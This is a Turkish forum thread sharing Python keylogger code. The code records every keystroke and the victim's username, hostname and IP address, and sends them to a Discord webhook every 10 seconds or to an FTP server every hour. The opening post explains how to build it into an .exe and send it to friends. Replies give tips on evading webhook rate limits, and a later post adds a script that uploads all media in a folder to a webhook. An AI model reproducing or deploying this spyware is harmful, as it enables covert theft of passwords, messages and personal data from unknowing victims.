Python ile Klavyeden Discord WebHook'a Veri Gönderme

zxRa09

Gold Üye
Katılım
19 Ocak 2023
Mesajlar
185
Beğeniler
32
Selam iyi forumlar, Python ile klavyede yazılan kelimeleri discord webhook adresine bir post ile yolar, bunu farklı amaçlar da kullana bilirsiniz tercih sizin :) bunun ekran görüntüsü alma versiyonunu da ata bilirim istek gelirse.

Discord WebHook Url Alma & FTP


Python Kullanılan Eklentiler
NOT: Bu eklentileri windows cmd ekranında kurun.

Python:
pip install psutil
pip install keyboard
pip install threaded
pip install requests
pip install pyinstaller

Python Kodu (main.py)
-
Pyhon indirip kurun kod çalışma ekranı için Visual Studio Code indip kurun bu adımları yaptıktan sonra bir klasörü oluşturup main.py veya istediğiniz bir isimde dosyayı uluşturup kodu oraya aktarın ve discord webhook urlesini WEBHOOK_URL = "URL" url yazan yere yapıştırın Visual Studio Code de terminal ekranını açıp dosyanızın adı ne ise python main.py yazıp enter basın ve tadına bakın yazdığınız her şeyi 10 saniye aralıkla discord'ta açmış olduğunuz sunucudan webhook'ta belirlediğiniz kanalda paylaşacak.
Not: bunu bir .exe yapıp arkadaşlarınıza ata bilirsiniz bunu da Visual Studio Code consol ekranında pyinstaller --onefile main.py yazın ve enter basın size .exe paketler.
Python:
import os
import socket
import psutil
import datetime
import keyboard
import threading
import requests

# WebHook URL'Si
WEBHOOK_URL = "URL"

# Kullanıcının bilgisayar bilgileri
def get_computer_info():
    info = ""
    info += f"Username: {os.getlogin()}\n"
    info += f"Hostname: {socket.gethostname()}\n"
    info += f"IP Address: {requests.get('https://checkip.amazonaws.com').text.strip()}\n"
    info += f"RAM: {round(psutil.virtual_memory().total / (1024.0 ** 3))} GB\n"
    info += f"CPU: {psutil.cpu_percent()}%\n"
    return info

buffer = ""

def process_input(event):
    global buffer
    if event.event_type == "down":
        if event.name == "space":
            buffer += " "
        else:
            buffer += event.name

# Mesajı gönderme. NOT: Timer(10) saniye cinsinden 10 saniyede bir gönderir
def send_log():
    global buffer
    if buffer:
        now = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
        requests.post(WEBHOOK_URL, data={"content": f"{now} - {buffer}"})
        buffer = ""
    threading.Timer(10, send_log).start()

def start_logging():
    requests.post(WEBHOOK_URL, data={"content": "Started logging...\n\n"})
    keyboard.on_press(process_input)
    send_log()

# Mesaj olarak yolluyor
if __name__ == "__main__":
    message = get_computer_info()
    requests.post(WEBHOOK_URL, data={"content": message})
    threading.Thread(target=start_logging).start()

FTP İLE GÖNDERME
Not: Ftp ile gönderme işlemi kendi ftp bilgilerinizi ekledikten sonra kodu başlatın saatte 1 dosyayı kaydeder
Python:
import time
from pynput import keyboard
from ftplib import FTP

def on_press(key):
    with open("klavye_girdileri.txt", "a") as f:
        try:
            f.write(key.char)
        except AttributeError:
            f.write(f"[{key}]")

while True:
    # klavyeden girdileri dinlemek için yeni bir program başlatın
    with keyboard.Listener(on_press=on_press) as listener:
        # 1 saatte bir gönderir saniye cinsinden
        time.sleep(3600)

    # dosyayı FTP sunucusuna yükleyin
    with FTP("ftp.sitename.com") as ftp:
        ftp.login("[email protected]", "şifre")
        with open("klavye_girdileri.txt", "rb") as f:
            ftp.storbinary("STOR klavye_girdileri.txt", f)
 
Son düzenleme:
2022 mayıs discord security updatede bahedilmiş, aynı ip den bir webhooka belirli bi limiten daha fazla packet (mesaj) atarsan devamı blocklanır yani bu biraz gereksiz ve problemler çıkarır webhookun timeout olmasına sebep olur yani bi süre sonra çalışmaz, alternatif çözüm şu, bi logs dosyası yap logları her 5 dakikada bir yolla
 
2022 mayıs discord security updatede bahedilmiş, aynı ip den bir webhooka belirli bi limiten daha fazla packet (mesaj) atarsan devamı blocklanır yani bu biraz gereksiz ve problemler çıkarır webhookun timeout olmasına sebep olur yani bi süre sonra çalışmaz, alternatif çözüm şu, bi logs dosyası yap logları her 5 dakikada bir yolla
aslında bunu bir örnek olarak yaptım isteyen ftp ile de dosya aktara bilir bir .txt dosyası olarak
 
aslında bunu bir örnek olarak yaptım isteyen ftp ile de dosya aktara bilir bir .txt dosyası olarak
söz konusu ne olursa olsun ftp, webhook, piped connection ..... her 10 saniyede bir log atmak belli bi süreden sonra probleme yol açar, open connectionun yoksa tabi rat gibi. ama dediğin gibi bu bi örnek yani evet kulanmak isteyen geliştirip kulanır
 
söz konusu ne olursa olsun ftp, webhook, piped connection ..... her 10 saniyede bir log atmak belli bi süreden sonra probleme yol açar, open connectionun yoksa tabi rat gibi. ama dediğin gibi bu bi örnek yani evet kulanmak isteyen geliştirip kulanır
hayır direk ftp olarak dosyayı belirli bir zaman diliminde yolla ya bilirsin örnek .exe yap paketle başlat yazdıklarını bir .txt dosyasına kaydetsin ve 5 saatte bir ftp ye yollasın discord webhook'u hiç karıştırmadan direkt böylede yapa bilirsin.
 
webhook ile belirlediğiniz kanala ve belirttiğiniz klasör konumunda bulunan tüm medya dosyalarını gönderir.

main.py
Python:
import os
import requests
import json
from colorama import init, Fore, Style

init()

with open("config.json") as config_file:
    config = json.load(config_file)

folder_path = config["folder_path"]
webhook_url = config["webhook_url"]

files_sent = 0
files_failed = 0

total_files = len([f for f in os.listdir(folder_path) if f.endswith((".jpg", ".jpeg", ".png", ".mp4", ".mp3"))])

for filename in os.listdir(folder_path):
    if filename.endswith((".jpg", ".jpeg", ".png", ".mp4", ".mp3")):
        file_path = os.path.join(folder_path, filename)
        with open(file_path, 'rb') as f:
            files = {'file': f}
            response = requests.post(webhook_url, files=files)
            if response.status_code == 200:
                files_sent += 1
                print(f"{Fore.LIGHTCYAN_EX}{files_sent}/{total_files} {Fore.GREEN}[BAŞARILI]{Style.RESET_ALL} Gönderilen {filename}")
            else:
                files_failed += 1
                print(f"{Fore.LIGHTCYAN_EX}{files_sent}/{total_files} {Fore.RED}[BAŞARISIZ]{Style.RESET_ALL} Dosya gönderilemedi {filename}")
       
       
print(f"{Fore.GREEN}Gönderilen Dosyalar: {files_sent}{Style.RESET_ALL}")
print(f"{Fore.RED}Başarısız Dosyalar: {files_failed}{Style.RESET_ALL}")

config.json
Kod:
{
    "folder_path": "KLASÖR KONUMU",
    "webhook_url": ""
}
 
webhook ile belirlediğiniz kanala ve belirttiğiniz klasör konumunda bulunan tüm medya dosyalarını gönderir.

main.py
Python:
import os
import requests
import json
from colorama import init, Fore, Style

init()

with open("config.json") as config_file:
    config = json.load(config_file)

folder_path = config["folder_path"]
webhook_url = config["webhook_url"]

files_sent = 0
files_failed = 0

total_files = len([f for f in os.listdir(folder_path) if f.endswith((".jpg", ".jpeg", ".png", ".mp4", ".mp3"))])

for filename in os.listdir(folder_path):
    if filename.endswith((".jpg", ".jpeg", ".png", ".mp4", ".mp3")):
        file_path = os.path.join(folder_path, filename)
        with open(file_path, 'rb') as f:
            files = {'file': f}
            response = requests.post(webhook_url, files=files)
            if response.status_code == 200:
                files_sent += 1
                print(f"{Fore.LIGHTCYAN_EX}{files_sent}/{total_files} {Fore.GREEN}[BAŞARILI]{Style.RESET_ALL} Gönderilen {filename}")
            else:
                files_failed += 1
                print(f"{Fore.LIGHTCYAN_EX}{files_sent}/{total_files} {Fore.RED}[BAŞARISIZ]{Style.RESET_ALL} Dosya gönderilemedi {filename}")
      
      
print(f"{Fore.GREEN}Gönderilen Dosyalar: {files_sent}{Style.RESET_ALL}")
print(f"{Fore.RED}Başarısız Dosyalar: {files_failed}{Style.RESET_ALL}")

config.json
Kod:
{
    "folder_path": "KLASÖR KONUMU",
    "webhook_url": ""
}
buda iyi fakat dosyayı yollarken zip yapıp yollaması daha iyi olurdu sıkıştırma işle mi yaparak
 
buda iyi fakat dosyayı yollarken zip yapıp yollaması daha iyi olurdu sıkıştırma işle mi yaparak
bunun amacı gif sunucusu olanlar için kanalları direkt doldurmasına yarayan bir kod
 

  Şuanda konuyu görüntüleyen kullanıcılar


Üst Alt